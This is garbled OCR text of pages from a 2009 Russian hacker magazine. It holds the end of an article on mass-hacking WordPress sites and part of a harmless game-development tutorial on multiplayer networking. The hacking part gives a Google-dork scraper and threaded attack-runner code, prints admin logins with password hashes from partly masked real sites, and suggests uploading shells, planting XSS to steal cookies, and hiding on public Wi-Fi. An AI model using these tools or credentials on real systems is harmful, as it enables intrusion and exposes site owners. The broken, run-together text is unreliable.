Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
11.92 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

>> coding

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

циклпрограммы, которыйчитаетsite_list ивытягиваетоттудапооднойзаписиURL сайтачерезметодpop:

site = site_list.pop()

Онпозволяетработатьсосписком, каксостеком— тоесть, беретсамуюверхнююзаписьиприэтомудаляетееизсписка. Подготовительныеработывыполненыиможнозапускать функциюrun_test какпоток. Аонауже, всвоюочередь, вызоветфункциютестированияrun измодуляgoogle.py:

def run_test(site): global count_thead test_site.run(site) count_thead -= 1

Самзапускпотоковвыглядиттак:

#пока есть необработанные сайты while ( len(site_list)"0 ):

# если количество потоков меньше максимального числа

if (test_site.max_count_thead > count_thead):

# взять со списка один сайт

site = site_list.pop()

СКРИПТ

ПАРСИНГАГУГЛА

# конфиг парсера

dork = 'inurl:page_id+"Gallery+powered+by+fM oblog"'

page = 10

reg = 'class=r»«a href="([^"&]*)' print "# start"

print "# dork:" + dork

print "# all page: " + str(page)

# открываем файл на запись fo = open('google.txt','w') print "# google.txt open"

import curl import time import re

# пройтись по page страницам в Гугле for i in xrange(0,page):

# формирование URL

url = "http://www.google.com/ search?q="+dork+"&start=" + str(i*10)

#исполнения запроса rez = curl.url_get(url)

#достаем ссылки

rez = re.findall(reg,rez)

# записываем результат в файл for item in rez:

fo.write(item+"\n")

print "# page "+str(i+1)+" done"

# æäåì 2 ñåê. time.sleep(2)

# закрываем файл fo.close

print '# all done'

count_thead +=1

 

# запустить проверку взятого сайта

 

thread.start_new_thread(run_test,(site,))

 

# если потоков больше максимального числа,

HTTP://WWW

# то подождем, пока какой-нибудь освободится

 

else:

 

pass

links

 

• Огромнейшаябаза

Этоткодобеспечиваетзапускфункциитестированиякак

уязвимостей:

потокадлявсехсайтовиконтролирует, чтобыпотоковне

http://milw0rm.com.

былобольшемаксимальногочисла, чтоуказановперемен-

• Бага, заюзанная

нойmax_count_thead, объявленнойвwp.py. Напомню, все

вкачествепримера:

скриптысподробнымикомментариямиестьнадиске.

http://milw0rm.com/

ЗАЩИТАОТ«ДРУЗЕЙ»

exploits/8229.

• Официальныйсайт

Кактынаверняказаметил, впримереянеиспользуюпрок-

NetBeans, удобного

си, практикуяпрямоеподключениекатакуемымсайтам.

средства

Конечно, прижелании, можнореализоватьподдержкусок-

дляразработки:

сов, изменивфункциюurl_get, нояпредпочитаюпоступать

http://netbeans.org.

по-другому. Обычноястараюсьписатьавтоматические

 

скрипты, нетребующиеособогоприсмотра, икогдавсе

 

готово, простоберунетбукивыхожуснимвлюди— напри-

 

мер, впитейноезаведение, гдеестьвай-фай. Тамяиспи-

DVD

ваюпиво(черезтозелорадстановясь), запускаюскрипты,

спокойнозакрываюкрышкунетбукаикладуегоподстол.

 

Никтодаженепредполагает, чемязанимаюсьвинтерне-

dvd

те. Вай-файдаетвполнеприличнуюскорость, апоскольку

юзаетсямногопоточность, тозатратывременинаработу

Надиске, кроме

скриптовневелики. Готовыйрезультатяоцениваюуже

исходников, ищи

дома, просматриваясохраненныескриптамилоги. Темне

полноценноевидео

менее, безопасностьникогданебываетлишней, поэтому

отавторасдемон-

поддержкасоксовприветствуется.

страциейработы

ТЕСТИРОВАНИЕ

скриптов.

 

Нучтоже, намосталосьтолькопротестироватьнаписанный

 

коднапрактике.

 

Япоследовательнозапустилфайлыgoogle.py иautotester.py,

WARNING

апослезавершенияихработы— глянулвфайлsuccess.txt,

 

которыйпорадовалсвоимобъемом. Вотпервыетристрочки

 

изнего:

 

warning

http://kota***an.com/wp/:lug:$P$B16Yr5TQFQ2t

Всяинформация

jrmMxUHiZubzzqZJ2A.

представленалишь

http://info***e.com/:admin:$P$B58JineUw6OJoE

вознакомительных

DL9hD9me5XaumzOt0

целях. Ненужнопо-

http://www.tar***up.com/:admin:$P$BRH1fDlLrq

вторятьглупостиза

hpAOLOo38w5Xlke/AH70.

автором!

 

 

Итак, здесьунасимеетместологинизахешированный парольдлядоступавадминку. Сзахешированнымпаролем поможетразобратьсяпоследнийPasswordsPro (http://www. insidepro.com/download/passwordspro.zip). Нодоступк админке— неглавнаяцельавторастатьи. Впервуюочередь яхотелпоказать, каксделатьинструментдлябыстрогои эффективногохака.

Ведьесли, кпримеру, тывозьмешьнеSQL injection, аисполнениекода, тосможешьбыстроизменитьфункциюrun вwp.py, чтобыоназаливалатебешеллнасервер. Еслиты найдешьактивнуюXSS, тосможешьлегкоеевнедритьна всесайты, ипотомлишьждатьнасниферекукисы. Вобщем, простордлядеятельностиутебяесть, изучай! Именно изучай, нонивкоемслучаенеиспользуйсвоизнанияво вредлюдям— тыведьзнаешь, чтоz— недеструктивный журналивсе, чтомыпишем, служиттолькооднойцели— помочьадминамзащититьсвоисайтыотзлобныхавтохакеров. Удачи! z

XÀÊÅÐ 05 / 125 / 09

099

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

++++ BUY

>>m

 

 

 

 

 

coding

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

++++

ЮРИЙ «YUREMBO» ЯЗЕВ

/YAZEVSOFT@GMAIL.COM /

++++ТЕМНОЕИСКУССТВОИГРОДЕЛА,

++++

++++

++++

++++Разрабатываемклиентисервердлямногопользовательских

++++

++++

++++

++++

баталий

Любаяразработкаимеетначалоилогическийконец. Нашапрограмманесталаисключением. Пройдянебольшойциклстатей, мыстобойсоздалиоченьдаженеплохуюигрусподдержкойвсех современныхтехнологий, реализованныхвDirectX (загрузка Х-объектов, 3D-графика, звукивнужныхместах, быстрыйконтроль идр.). Нодляполноценногогейминганехватаетещеодногокомпонента. Конечноже, этомультиплеер.

++++

 

 

 

 

ВЫБИРАЕМ«СКЕЛЕТ»

чемDarkGDK, мнеоннеоченьпонравился.

 

 

 

 

Продолживпоиски, янаткнулсянаприме-

 

 

 

 

 

 

 

 

 

 

 

ВсемпрекраснабиблиотекаDark GDK,

чательнуювещицуподназваниемMikeNet.

++++

 

новкаждойбочкемедаестьложкадегтя.

Испытавэтотпротоколвдемо-приложениях,

 

 

 

Такисрассматриваемойлибой: чтобысее

ярешилиспользоватьеговигре. MikeNet

 

 

 

помощьюреализоватьмультиплеер, нужно

позволяетлегкосоздаватьклиент-серверные

 

 

 

 

 

 

непо-детскинапрячься. Вконцеконцов,

приложения: каксерверы, такиклиенты.

++++

 

мнеэтонадоело(ихорошо, чтонадоело,

Работаясним, ненадобеспокоитьсяосо-

 

 

 

атопришлосьбыписатькодаразав4 больше,

кетахидругихсетевыхзаморочках— просто

 

 

 

чемсейчас), иясталискатьдругиерешения.

формируемпакетиотправляем. Интересной

 

 

 

И, какниудивительно, выходбылнайден:

возможностьюявляетсяодновременнаяработа

++ ++

ввиде, поменьшеймере, парыспециальных

сразуподвумпротоколам: TCP иUDP; дляэтого

 

 

 

протоколов, используемыхвразработкемного-

присоединенииссервером, какнаклиенте, так

 

 

 

пользовательскихигр. Протоколамитакие

инасервереоткрываютсяподвалокальных

 

 

 

 

 

 

вещиможноназватьсбольшойнатяжкой,

порта. Черезнихиидетпоследующаяпере-

++++

 

 

правильнееихзватьинтерфейсамикпротоколу

дачаданных. Разработчикуненадогрузиться

 

 

 

DirectPlay, посколькудляобменасообщениями

сопределениемоткрываемыхпортов, MikeNet

 

 

 

вDark GDK (даи, собственно, вDirectX) исполь-

возьметвсюработунасебяисделаетеенеза-

 

 

 

зуетсяименноон. Нодляпростотыбудемна-

метнодляконечногопользователя.

++++

 

зыватьихпротоколами, таккаконииспользуют

 

MIKENET

 

 

 

своиправиладляпередачиданныхспомощью

 

 

 

 

 

 

 

 

 

 

 

 

DirectPlay.

СкачатьMikeNet можносостраницыфорума

 

 

 

 

 

 

Первыйизэтихпротоколов— этоMultiSync

сайтакомпанииThe Game Creators (http://

++++

 

 

(смотриhttp://forum.thegamecreators.com).

forum.thegamecreators.com). Последняя

 

 

 

Несмотрянато, чтопродуктвполнерабо-

версиянамоментнаписаниястатьи— 1.0.6,

 

 

 

тоспособениболееудобенвприменении,

ее-то, собственно, yurembo ииспользовал

приразработкепрограмм. Кслову, Майк— авторбиблиотеки— довольнооперативновсе обновляет, поэтомунеисключено, что, когдаты будешьчитатьэтотматериал, ужевыйдетновая версиябиблы(куриблогМайканапредмет обновлений).

Послескачиванияираспаковкиархивавнем обнаружитсянесколькофайловикаталогов. Чтобыустановитьпротокол, найдиизапусти файлMikeInstall. exe (толькообративнимание, чтотыставишьверсиюдляС++:)). Должно появитьсяокноDOS-сеансаследующеговида (вниманиенарис. 1).

Инсталляторсамопределит, кудаустановленаVS ископируетдвафайла, необходимых длякомпиляцииприложений, использующих MikeNet. Однаковнекоторыхслучаяхонможет работатьнеправильно. Припоявленииглюков собственноручноскопируйфайлMikeNet. lib вподпапкуVC\lib папки, кудаустановленасту-

дия, ифайлmikenet. h — вподпапкуVC\include.

Чтобыприаттачитьустановленнуюбиблиотекуккомпилятору, запустистудию(загрузи проект, вкоторомсобираешьсяиспользовать средстваMikeNet) иоткройсвойствапроекта

(например, Project ÆDarkRobot Properties).

++++

100

XÀÊÅÐ 05 / 125 / 09

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

часть4:

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

>> coding

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Всвойствахпоследовательноразверниспис-

ки: Configuration Properties ÆLinker, азатем щелкнипопунктуInput.

Вправойчастиокна, встрокузависимостей

(Additional Dependencies), добавьназвания двухбиблиотек: MikeNet. lib иWS2_32.lib (рис. 2). Дляправильнойкомпиляциипроделай следующийтрюк: оставаясьвсвойствах, развернисписокC/C++, щелкнинапунктеCode Generation, ивправойчасти, напротивпункта Runtime Library, изниспадающегоспискавы-

бериMulti-threaded (/MT) (рис. 3). Этоозначает,

чтоприложениебудетиспользоватьмногопоточную, ностатичнуюверсиюбиблиотеки времениисполнения.

Всенастройкипроизведены! Смелозакрываем окносвойстваидвигаемсядальше.

СЕРВЕР

Наконец, компиляторнастроен, иможнопереходитьксамомуприятномувжизникодера— программированию. Сначаламыразработаем приложение-сервер. Внашемслучаесервер будетзаниматьсятолькопередачейданных, тоестьприниматьданныеотодногоклиента ирассылатьихвсемостальным. Никакихособенныхвычисленийнаегосторонепроизводитьсянебудет— всюработумывозложим наклиента. Перечислю, какиеданныенужно передавать. Во-первых, координаты(каждого)

клиентскогороботаиуголповорота. Во-вторых, быллипроизведенвыстрелданнымконкретнымроботом. Другимисловами, намненадо передаватькоординатыкаждойракеты. Достаточнолишьузнать, совершилроботвыстрелилинет. Таккаквсекоординатыиугол поворотадляданногороботаувсехклиентов одинаковы, тоиракетавылетитизопределенныхкоординат(позицииробота) иприземлится водинаковойпозицииилипоразитоднуитуже цель(посколькуданныесинхронизированы!). В-третьих, надопередатьколичествожизней(длячегоэтонужно— разберемпозже, вовремяразработкиклиента). И, в-четвертых, необходимопередатьимяклиентаиколичествофрагов(набранныхубийств). Этиданные

понадобятсядляведениясерверомстатистики, позжемыэторазберем. СоздайвVC++ новый проект. ВкачествешаблонавыбериDark GDK

— Game. Вовсепроекты, которыеиспользуют библиотекуMikeNet, надодобавлятьтакой заголовочныйфайл: <MikeNet. h>. Теперь можешьоткрытьсдискапроектсервера (авторназвалегоDarkServer, поаналогии

сDarkRobot), исследоватьпокомментариям кодиначинатьегопереписывать. Нуаyurembo темвременемрасскажеттебеокодеболее подробно.

Послеподключениязаголовочныхфайлов идутобъявленияконстант, назначениекоторых яснопокомментариям, иструктуры, состоящей издвухчленов: первый, хранящийимяклиента ивторой— количествофрагов. Далееследует главнаяфункцияпрограммы, внейипроисходитвседейство. Операции, относящиеся кнастройкеиперерисовкеэкрана, мырассматриватьнебудем(поднимайпредыдущиестатьи). Перваяинтересующаянасфункция— это mnSetLocal счетырьмяпараметрами. Первый параметр— ip-адресдляtcp-подключения. Еслиегооставитьпустым«» (каквнашемслучае), топрограммасамаопределитего, этобу-

детip-адресмашины, накоторойзапущенсервер. Вторымпараметромследуетномерпорта, накоторомбудетожиданиеtcp-подключения. Затемидутдвапараметра, аналогичныхприведенномувышеописанию, заисключениемтого, чтовместоtcp используетсяпротоколudp. Несмотрянато, чтономерапортовявноопределяютсяпрограммистом, послесоединенияклиентассерверомMikeNet определяетихисам (смотриописаниеMN выше). Кслову, функция mnSetLocal приуспешнойработевозвращает единицу, иначе— 0 или–1. Такаяпроверка выполняетсяпослееевызоваспоследующим выводомдиагностическихнадписей.

Итак, вслучаеуспехамызапускаемсервер командойmnStartServer счетырьмяпараметрами: максимальноеколичествоклиентов, которыемогутподключиться, максимальное количествоudp-операций, которыеклиент можетотправитьводномudp-пакете. Третьим

параметромопределяетсяспособраздачипри- шедшихudp-пакетов. Доступнодваспособа: UDPMODE_PER_CLIENT иUDPMODE_PER_ CLIENT_PER_OPERATION. Когдаиспользуется первыйспособ, откаждогоклиентазапоминаетсятолькоодинпакет, пришедшийпоследним, болеестарые— удаляются. Вслучаевторого запоминаютсяпакетысовсемиоперациями (анетолькопоследние), пришедшиеоткаждогоклиента. Последнийиспользуется, когда клиентможетотправитьнесколькоразных пакетов(сразнымиоперациями), например, каквнашейигре. Последнийпараметр задаетколичествопотоков, используемых приполученииипередачеданных. Длямаксимальногобыстродействиясистемыэточисло должнозависетьотколичествапроцессоров, установленныхнамашине, накоторойзапущен сервер. Однакоеслипоставить0, тоMikeNet самопределитколичествоустановленных ЦПУибудетиспользоватьданноечисло. Это прекрасныйвариант— можнобезизменения иперекомпиляциизапускатьнашсервер наразныхкомпьютерах, ивездеегопроизво-

дительностьбудетнавысшемуровне! Внашей программеиспользуется0.

Далеепокодуидетобъявлениенескольких переменныхнашегоструктурноготипа, затем цикл,— внемчленывсехобъявленныхранее структуробнуляются. Теперьмы, наконец, попадаемвглавныйцикл. Внемпостоянно проверяютсяпортыдлявыявленияпришедших данных. Крометого, всамомначалециклаесть задержки. Онинужны, чтобыпрограмманезавислаисмоглаобрабатыватьдругие, отличныеотпроверкипортов, процессы. Функция mnClientJoined прослушиваетпортвцеляхвыявлениявновьподключившегосяклиента. Параметровонанеимеет— есливозвращаемое значениебольшенуля, значит, подключился новыйклиент, инадоотобразитьегоданные: id, tcp ip, tcp port, udp ip, udp port. Послечегонадо сообщитьновомуклиентуобужеподключенных, этосовершаетсявцикле. Используемая здесьфункцияmnClientConnected проверяет, подключенилинетклиент, id которогопереда-

XÀÊÅÐ 05 / 125 / 09

101

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

C

E

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

++++ BUY

>>m

 

 

 

 

 

 

 

 

coding

 

 

 

w Click

to

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

++++

 

 

 

 

 

 

 

 

 

 

++++

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

++++

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

++++

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

++++

 

 

 

 

ВВОДИМIP СЕРВЕРА

 

 

 

 

 

 

 

 

 

 

++++

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

++++

 

 

 

 

 

 

 

 

 

 

++++

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

++++

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ИСПОЛЬЗОВАНИЕМНОГОПОТОЧНОЙБИБЛИОТЕКИ

++++

 

 

 

 

 

ВРЕМЕНИИСПОЛНЕНИЯ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

++++

 

 

 

 

 

 

 

 

 

 

++++

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

++++

 

 

 

 

 

 

 

 

 

 

++ ++

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

++++ОНЛАЙНОВЫЙБОЙ

етсяпараметром. Врезультатеонавозвращаетединицу, еслирезультат положительный. Всемподключеннымклиентамсообщаетсяоновень-

++++ком. ФункцияmnClientLeft проверяет, неотключилсяликакой-либо клиенти, еслионавозвращаетзначениебольше0, значит, клиент стакимидентификатором(возвращенноезначение) недавноотклю-

чился. Обэтомприскорбномсобытиимытакжеинформируемиграющую

++++компаниюпосредствомтекстовогосообщения. Далееидетциклповсем клиентам, вкоторыйвложенещеодинциклповсемudp-операциям

(внашейпрограммеихдве). Иужевнемпроисходитизъятиеизочере-

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

диданных, ипроверканаприходотправленногоклиентомпакета. Это осуществляетсяфункциейmnRecvUDP, укоторойдвапараметра: 1 — id клиента, откоторогоожидаетсяпакет, 2 — номероперации. Такжефункциявозвращает1 вслучаеудачи(полученияпакета), 0 — вслучаеотсут- ствияпосылкии–1 — припоявленииошибки. Еслипакетпришел, тоего надораспотрошитьиотправитьполученныеданныевсемклиентам заисключениемтого, откогоонпришел. Деформируемпакетвтомже порядке, вкоторомформировали(смотрикодклиентаисервера). Это делаетсяспомощьюфункцииmnGet* (где* — типданных). После

де-формированияпакета(сохранениявсехданныхвпеременных), спомощьюфункцийmnAdd* (где* — типданных) формируемновыйпакет. Этифункциивкачествепараметрапринимаютзначениеопределенного типаданных. Наконец, посредствомфункцииmnSendUDPAll отправляемсформированныйпакетвсемклиентам. Унеетрипараметра:

1 — сохранятьилинетотправленныйпакет; 2 — блокироватьилинеткомандудотехпор, покапакетнебудетвсем отослан;

3 — здесьуказываетсяклиент, которыйисключаетсяизспискарассылки (надоуказатьтогоклиента, откоторогопришелпакетсобрабатываемымиданными).

Крометого, вэтомциклевпеременнуюdeadcount сохраняетсянаибольшееколичествонабранныхигрокомфрагов. Послеокончания циклапеременнаяпроверяется, и, еслионабольшеилиравнаустановленномулимитуфрагов, которыенеобходимонабратьдляпобеды, тогдаформируетсяновыйudp-пакет(2-оготипа). Внегозаписываются именаиколичествонабранныхкаждымклиентомфрагов,— ипакет такжеотправляетсявсемклиентамдлявывода(наихстороне) таблицы отчетностипоигре(кто, сколькофраговнабрал) — позжеобязательно рассмотрим. Такимобразом, внашейигререализованамультиплеерная баталиятипаFree for All — всепротиввсехиликаждыйзасебя.

КЛИЕНТ

Чтобыпревратитьнашсинглплеервмультиплеер, вегокоднужновнестиоченьнемногоизменений. Темболее, вмультиплеереиспользуется тотжедвижок, чтоиводиночнойигре. Поэтомуyurembo решилобъединитьдвеверсииводнуигру(выбираетсявменю). Поэтойжепричине максимальновозможноеколичествоклиентовравнопяти— количеству роботоввсингплеере. Изменениякасаютсятолькоспособауправления врагами: воднопользовательскойигреврагамируководитфункция искусственногоинтеллекта, авмногопользовательской— принятые данные(отправленныеотклиентскойчастиоппонента, еслироботом управляетгеймер). Всесделанодлятого, чтобыможнобылооставить движокпрежним, добавивтолькоподдержкумультиплеера.

DARKROBOT MULTIPLAYER GAME

Загрузисвоюфинальнуюверсиюсинглплеера, потомучтоименноее мыбудемдорабатывать. Крометого, тыможешьзагрузитьужеготовый мультиплеерсдиска, чтобысверятьрезультаты.

++++

102

XÀÊÅÐ 05 / 125 / 09

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

>> coding

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

УСПЕШНОЕЗАВЕРШЕНИИИНСТАЛЛЯЦИИMIKENET

ВОВРЕМЯРАБОТЫСЕРВЕРВЫВОДИТ ДИАГНОСТИЧЕСКИЕДАННЫЕ

Восновномизменениямподверглисьчетырефайла: Main. cpp, Robot. cpp, Robot. h, Game_Obj. h (впоследнихдвух измененияоченьнесущественны). НачнемобзормодификацийсфайлаMain. cpp. Здесьдобавиласьважнаяглобальнаяпеременнаяgamemod, внейотмечаетсятекущий режимигры: 0 — режимнеустановлен(режимначального меню), 1 — синглплеер, 2 — мультиплеер. Покавнашейигре реализовантолькоодинмногопользовательскийрежим, поэтому, еслихочешьещережимы(например, дуэльный илизахватфлага), тоудобнеевсегодобавитьиндикатор режимавэтупеременную. Поэтому, кромевсегопрочего, авторприготовилдлятебялегкорасширяемыймеханизм игровогодвижка. Такжедобавленыконстантыдляопределениятипаtcp иudp пакетов(онихтычиталвышеиможешь узнатьбольшеизкомментариевкпрограмме) илимит фрагов.

Послезапускаигрыпередгеймеромпоявляетсяконсольноеменювыборарежима. Почемуконсольное? Потому чтоyurembo нехотелотходитьотначальнойзадумки(самая

перваяверсия— еслипомнишь, когдавыводиласьнадпись, повествующаяозагрузкеуровня). Ктомуже, емубылолень рисоватькартинкидляфонаикнопокменю(былабыего воля, онкроменаписаниякодавообщеничембынезанимался). Вэтом(ивовсехпоследующих) менюдлявыборанужногопунктанадонажатьуказаннуюрядомсним клавишу. Первоначальноеменювыводитсамописная функцияSelectGameType. Внейобнуляетсяпеременная gamemod, тоестьиграпереводитсяврежимменю. Затем запускаетсяцикл, который«вращается», покаспомощью клавишневыбранрежимигры. Здесьинтереснатолько

однафункция— этоdbScanCode, котораявозвращаетномер нажатойклавиши. Номерастартуютсединицы, начиная

склавишисбуквой«Е». Есливыбратьсинглплеер, тоон

изагрузится— небудемрассматриватьэтотпуть, поскольку всеонемзнаем! Сдругойстороны, есливыбратьмультиплеер, топоявитсяновоеменю, гдепредлагаетсяввестиимя геймера, котороезапоминаетсявглобальнойпеременной

исохраняетсянапротяжениивсегосеансаигры. Заработу этогоменюответственнафункцияGetUserName. Пустое имяввестинельзя. Когдаимябудетвведено, появится следующаястраницаменю, гденадобудетввестиip-адрес сервера.

ЭтустраницувыводитиобслуживаетфункцияmakeConnect, котораяпослеполученияip спомощьюфункцииmnConnect пытаетсяподключитьсяксерверу. ФункцииmnConnect передаютсяшестьпараметров: ip-адрессервера, ожидающегоподключенияпоtcp; номероткрытогоtcp портанаэтом сервере; ip-адрессервера, ожидающегоподключения

